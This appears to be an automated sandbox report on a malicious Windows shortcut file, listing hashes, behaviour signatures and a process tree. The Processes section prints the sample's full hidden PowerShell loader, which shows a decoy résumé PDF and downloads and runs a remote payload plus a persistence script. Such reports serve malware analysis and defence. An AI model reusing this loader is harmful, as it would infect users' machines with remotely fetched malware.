Analysis
- max time kernel
149s - max time network
53s - platform
windows10-2004_x64 - resource
win10v2004-20251016-en - resource tags
- submitted
03/12/2025, 22:45
General
- Target scenario_f5b9ad341ccfe06352b8818b90b2413e___805eefc0-f6f6-4110-8f0e-7008195bf085.lnk
- Size 2KB
- Sample251203-2pel4avphx
- SHA256 ae857addc8eb51dbfa7d0a76b19dae7a6f275f7bf1042d1c982aca4f80ce635e
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\scenario_f5b9ad341ccfe06352b8818b90b2413e___805eefc0-f6f6-4110-8f0e-7008195bf085.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h $localPath = (Get-Location).Path; Remove-Item -Path "$localPath\我的简历.lnk" -Force; $h='ht'; $t='tps'; curl "${h}${t}://pan.tenire.com/down.php/c5932995bbb5708687fb1014ee01d6b9.pdf" -o "$localPath\\我的简历.pdf"; Start-Process -FilePath "$localPath\\我的简历.pdf"; if (-not (Test-Path "$env:APPDATA\Security")){ New-Item -Type Directory "$env:APPDATA\Security" -Force|Out-Null }; curl "${h}${t}://pan.tenire.com/down.php/83b341a1caab40ad1e7adb9fb4a8b911.zip" -o "$env:APPDATA\\Security\pkg.zip"; Expand-Archive -Path "$env:APPDATA\Security\pkg.zip" -DestinationPath "$env:APPDATA\Security" -Force; Remove-Item "$env:APPDATA\Security\pkg.zip" -Force; & "$env:APPDATA\Security\keytool.exe"; & "$env:APPDATA\Security\CreateHiddenTask.vbs";2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_t10eaoti.5ld.ps1
memory/912-13-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp
memory/912-4-0x0000020AF4940000-0x0000020AF4962000-memory.dmp
memory/912-2-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp
memory/912-12-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp
memory/912-14-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp
memory/912-3-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp
memory/912-15-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp
memory/912-17-0x00007FF4E55C0000-0x00007FF4E55D0000-memory.dmp
memory/912-25-0x0000020AF7770000-0x0000020AF778C000-memory.dmp
memory/912-26-0x0000020AF7790000-0x0000020AF7845000-memory.dmp
memory/912-27-0x0000020AF7760000-0x0000020AF776A000-memory.dmp
memory/912-28-0x0000020AF4AA0000-0x0000020AF4AB0000-memory.dmp